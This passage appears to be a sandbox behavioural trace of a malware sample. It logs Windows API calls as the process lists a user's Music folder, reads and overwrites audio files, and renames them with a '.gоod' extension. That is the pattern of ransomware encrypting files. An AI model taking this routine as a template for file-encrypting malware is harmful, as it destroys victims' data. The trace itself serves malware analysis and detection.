ftLastWriteTime.dwLowDateTime=0x7cee262c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x180fe)) returned 1 [0215.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0215.946] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\_wf9joyqu52bpgsjoc.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\_Wf9JoYQu52BpGSJoC.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\_wf9joyqu52bpgsjoc.mp3.gоod")) returned 1 [0215.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ebb10) returned 1 [0215.947] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C", nBufferLength=0x105, lpBuffer=0x202eb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C", lpFilePart=0x0) returned 0x52 [0215.947] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\*", lpFindFileData=0x202eb830 | out: lpFindFileData=0x202eb830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ff56970, ftCreationTime.dwHighDateTime=0x1d4ce8a, ftLastAccessTime.dwLowDateTime=0xa97821d0, ftLastAccessTime.dwHighDateTime=0x1d4d47d, ftLastWriteTime.dwLowDateTime=0xa97821d0, ftLastWriteTime.dwHighDateTime=0x1d4d47d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0215.947] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ff56970, ftCreationTime.dwHighDateTime=0x1d4ce8a, ftLastAccessTime.dwLowDateTime=0xa97821d0, ftLastAccessTime.dwHighDateTime=0x1d4d47d, ftLastWriteTime.dwLowDateTime=0xa97821d0, ftLastWriteTime.dwHighDateTime=0x1d4d47d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.947] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1d23e0, ftCreationTime.dwHighDateTime=0x1d4cea3, ftLastAccessTime.dwLowDateTime=0x7cb65f30, ftLastAccessTime.dwHighDateTime=0x1d4cb3c, ftLastWriteTime.dwLowDateTime=0x7cb65f30, ftLastWriteTime.dwHighDateTime=0x1d4cb3c, nFileSizeHigh=0x0, nFileSizeLow=0x13c3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ah3n3eGTjfPQoBo5o.wav", cAlternateFileName="AH3N3E~1.WAV")) returned 1 [0215.948] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xade98360, ftCreationTime.dwHighDateTime=0x1d4cc32, ftLastAccessTime.dwLowDateTime=0xf5337080, ftLastAccessTime.dwHighDateTime=0x1d4d4c2, ftLastWriteTime.dwLowDateTime=0xf5337080, ftLastWriteTime.dwHighDateTime=0x1d4d4c2, nFileSizeHigh=0x0, nFileSizeLow=0x1186, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dcm2YOGUb9lsEeep.mp3", cAlternateFileName="DCM2YO~1.MP3")) returned 1 [0215.948] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862e9c60, ftCreationTime.dwHighDateTime=0x1d4d11f, ftLastAccessTime.dwLowDateTime=0x5eb743f0, ftLastAccessTime.dwHighDateTime=0x1d4d591, ftLastWriteTime.dwLowDateTime=0x5eb743f0, ftLastWriteTime.dwHighDateTime=0x1d4d591, nFileSizeHigh=0x0, nFileSizeLow=0x6c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="fv9mHKsgg4JTzWi.mp3", cAlternateFileName="FV9MHK~1.MP3")) returned 1 [0215.948] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a125d0, ftCreationTime.dwHighDateTime=0x1d4c58e, ftLastAccessTime.dwLowDateTime=0x5b9ada10, ftLastAccessTime.dwHighDateTime=0x1d4c62d, ftLastWriteTime.dwLowDateTime=0x5b9ada10, ftLastWriteTime.dwHighDateTime=0x1d4c62d, nFileSizeHigh=0x0, nFileSizeLow=0xb519, dwReserved0=0x0, dwReserved1=0x0, cFileName="UDLin5wRYPEkDpy Lj.mp3", cAlternateFileName="UDLIN5~1.MP3")) returned 1 [0215.948] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.948] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0215.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eba50) returned 1 [0215.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eba10) returned 1 [0215.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ebb10) returned 1 [0215.948] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C", nBufferLength=0x105, lpBuffer=0x202eb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C", lpFilePart=0x0) returned 0x52 [0215.948] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\*", lpFindFileData=0x202eb830 | out: lpFindFileData=0x202eb830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ff56970, ftCreationTime.dwHighDateTime=0x1d4ce8a, ftLastAccessTime.dwLowDateTime=0xa97821d0, ftLastAccessTime.dwHighDateTime=0x1d4d47d, ftLastWriteTime.dwLowDateTime=0xa97821d0, ftLastWriteTime.dwHighDateTime=0x1d4d47d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0215.949] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ff56970, ftCreationTime.dwHighDateTime=0x1d4ce8a, ftLastAccessTime.dwLowDateTime=0xa97821d0, ftLastAccessTime.dwHighDateTime=0x1d4d47d, ftLastWriteTime.dwLowDateTime=0xa97821d0, ftLastWriteTime.dwHighDateTime=0x1d4d47d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.949] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1d23e0, ftCreationTime.dwHighDateTime=0x1d4cea3, ftLastAccessTime.dwLowDateTime=0x7cb65f30, ftLastAccessTime.dwHighDateTime=0x1d4cb3c, ftLastWriteTime.dwLowDateTime=0x7cb65f30, ftLastWriteTime.dwHighDateTime=0x1d4cb3c, nFileSizeHigh=0x0, nFileSizeLow=0x13c3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ah3n3eGTjfPQoBo5o.wav", cAlternateFileName="AH3N3E~1.WAV")) returned 1 [0215.949] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xade98360, ftCreationTime.dwHighDateTime=0x1d4cc32, ftLastAccessTime.dwLowDateTime=0xf5337080, ftLastAccessTime.dwHighDateTime=0x1d4d4c2, ftLastWriteTime.dwLowDateTime=0xf5337080, ftLastWriteTime.dwHighDateTime=0x1d4d4c2, nFileSizeHigh=0x0, nFileSizeLow=0x1186, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dcm2YOGUb9lsEeep.mp3", cAlternateFileName="DCM2YO~1.MP3")) returned 1 [0215.949] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862e9c60, ftCreationTime.dwHighDateTime=0x1d4d11f, ftLastAccessTime.dwLowDateTime=0x5eb743f0, ftLastAccessTime.dwHighDateTime=0x1d4d591, ftLastWriteTime.dwLowDateTime=0x5eb743f0, ftLastWriteTime.dwHighDateTime=0x1d4d591, nFileSizeHigh=0x0, nFileSizeLow=0x6c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="fv9mHKsgg4JTzWi.mp3", cAlternateFileName="FV9MHK~1.MP3")) returned 1 [0215.949] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a125d0, ftCreationTime.dwHighDateTime=0x1d4c58e, ftLastAccessTime.dwLowDateTime=0x5b9ada10, ftLastAccessTime.dwHighDateTime=0x1d4c62d, ftLastWriteTime.dwLowDateTime=0x5b9ada10, ftLastWriteTime.dwHighDateTime=0x1d4c62d, nFileSizeHigh=0x0, nFileSizeLow=0xb519, dwReserved0=0x0, dwReserved1=0x0, cFileName="UDLin5wRYPEkDpy Lj.mp3", cAlternateFileName="UDLIN5~1.MP3")) returned 1 [0215.949] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a125d0, ftCreationTime.dwHighDateTime=0x1d4c58e, ftLastAccessTime.dwLowDateTime=0x5b9ada10, ftLastAccessTime.dwHighDateTime=0x1d4c62d, ftLastWriteTime.dwLowDateTime=0x5b9ada10, ftLastWriteTime.dwHighDateTime=0x1d4c62d, nFileSizeHigh=0x0, nFileSizeLow=0xb519, dwReserved0=0x0, dwReserved1=0x0, cFileName="UDLin5wRYPEkDpy Lj.mp3", cAlternateFileName="UDLIN5~1.MP3")) returned 0 [0215.950] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0215.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eba50) returned 1 [0215.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eba10) returned 1 [0215.950] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav", nBufferLength=0x105, lpBuffer=0x202eb3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav", lpFilePart=0x0) returned 0x68 [0215.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb8c0) returned 1 [0215.950] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\ah3n3egtjfpqobo5o.wav"), fInfoLevelId=0x0, lpFileInformation=0x3631988 | out: lpFileInformation=0x3631988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1d23e0, ftCreationTime.dwHighDateTime=0x1d4cea3, ftLastAccessTime.dwLowDateTime=0x7cb65f30, ftLastAccessTime.dwHighDateTime=0x1d4cb3c, ftLastWriteTime.dwLowDateTime=0x7cb65f30, ftLastWriteTime.dwHighDateTime=0x1d4cb3c, nFileSizeHigh=0x0, nFileSizeLow=0x13c3e)) returned 1 [0215.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb880) returned 1 [0215.950] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav", lpFilePart=0x0) returned 0x68 [0215.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0215.950] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\ah3n3egtjfpqobo5o.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0215.950] GetFileType (hFile=0x828) returned 0x1 [0215.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0215.951] GetFileType (hFile=0x828) returned 0x1 [0215.951] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202eb918*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202eb918*=0) returned 0x1000 [0215.951] ReadFile (in: hFile=0x828, lpBuffer=0x3631e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202eb8e8, lpOverlapped=0x0 | out: lpBuffer=0x3631e50*, lpNumberOfBytesRead=0x202eb8e8*=0x1000, lpOverlapped=0x0) returned 1 [0215.951] CloseHandle (hObject=0x828) returned 1 [0215.952] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav", lpFilePart=0x0) returned 0x68 [0215.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0215.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\ah3n3egtjfpqobo5o.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0215.952] GetFileType (hFile=0x828) returned 0x1 [0215.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0215.952] GetFileType (hFile=0x828) returned 0x1 [0215.952] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202eb918*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202eb918*=0) returned 0x13c3e [0215.952] WriteFile (in: hFile=0x828, lpBuffer=0x3633140*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202eb808, lpOverlapped=0x0 | out: lpBuffer=0x3633140*, lpNumberOfBytesWritten=0x202eb808*=0x10, lpOverlapped=0x0) returned 1 [0215.952] CloseHandle (hObject=0x828) returned 1 [0215.952] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav", lpFilePart=0x0) returned 0x68 [0215.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0215.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\ah3n3egtjfpqobo5o.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0215.953] GetFileType (hFile=0x828) returned 0x1 [0215.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0215.953] GetFileType (hFile=0x828) returned 0x1 [0215.953] ReadFile (in: hFile=0x828, lpBuffer=0x3635458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202eb898, lpOverlapped=0x0 | out: lpBuffer=0x3635458*, lpNumberOfBytesRead=0x202eb898*=0x1000, lpOverlapped=0x0) returned 1 [0216.542] CloseHandle (hObject=0x828) returned 1 [0216.542] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav", lpFilePart=0x0) returned 0x68 [0216.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0216.542] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\ah3n3egtjfpqobo5o.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0216.543] GetFileType (hFile=0x828) returned 0x1 [0216.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0216.543] GetFileType (hFile=0x828) returned 0x1 [0216.543] WriteFile (in: hFile=0x828, lpBuffer=0x3525420*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202eb948, lpOverlapped=0x0 | out: lpBuffer=0x3525420*, lpNumberOfBytesWritten=0x202eb948*=0x1010, lpOverlapped=0x0) returned 1 [0216.543] CloseHandle (hObject=0x828) returned 1 [0216.543] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav", nBufferLength=0x105, lpBuffer=0x202eb3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav", lpFilePart=0x0) returned 0x68 [0216.543] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav.gоod", nBufferLength=0x105, lpBuffer=0x202eb3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav.gоod", lpFilePart=0x0) returned 0x6d [0216.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb880) returned 1 [0216.543] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\ah3n3egtjfpqobo5o.wav"), fInfoLevelId=0x0, lpFileInformation=0x202eb960 | out: lpFileInformation=0x202eb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1d23e0, ftCreationTime.dwHighDateTime=0x1d4cea3, ftLastAccessTime.dwLowDateTime=0x7cb65f30, ftLastAccessTime.dwHighDateTime=0x1d4cb3c, ftLastWriteTime.dwLowDateTime=0x7d48bea9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13c4e)) returned 1 [0216.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb840) returned 1 [0216.543] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\ah3n3egtjfpqobo5o.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\ah3n3eGTjfPQoBo5o.wav.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\ah3n3egtjfpqobo5o.wav.gоod")) returned 1 [0216.544] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3", nBufferLength=0x105, lpBuffer=0x202eb3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3", lpFilePart=0x0) returned 0x67 [0216.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb8c0) returned 1 [0216.544] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\dcm2yogub9lseeep.mp3"), fInfoLevelId=0x0, lpFileInformation=0x3625ce8 | out: lpFileInformation=0x3625ce8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xade98360, ftCreationTime.dwHighDateTime=0x1d4cc32, ftLastAccessTime.dwLowDateTime=0xf5337080, ftLastAccessTime.dwHighDateTime=0x1d4d4c2, ftLastWriteTime.dwLowDateTime=0xf5337080, ftLastWriteTime.dwHighDateTime=0x1d4d4c2, nFileSizeHigh=0x0, nFileSizeLow=0x1186)) returned 1 [0216.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb880) returned 1 [0216.544] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3", lpFilePart=0x0) returned 0x67 [0216.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 [0216.544] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\dcm2yogub9lseeep.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0216.544] GetFileType (hFile=0x828) returned 0x1 [0216.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0216.545] GetFileType (hFile=0x828) returned 0x1 [0216.545] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202eb918*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202eb918*=0) returned 0x1000 [0216.545] ReadFile (in: hFile=0x828, lpBuffer=0x36261a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202eb8e8, lpOverlapped=0x0 | out: lpBuffer=0x36261a0*, lpNumberOfBytesRead=0x202eb8e8*=0x186, lpOverlapped=0x0) returned 1 [0216.545] CloseHandle (hObject=0x828) returned 1 [0216.546] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3", nBufferLength=0x105, lpBuffer=0x202eb2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\Dcm2YOGUb9lsEeep.mp3", lpFilePart=0x0) returned 0x67 [0216.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb7c0) returned 1 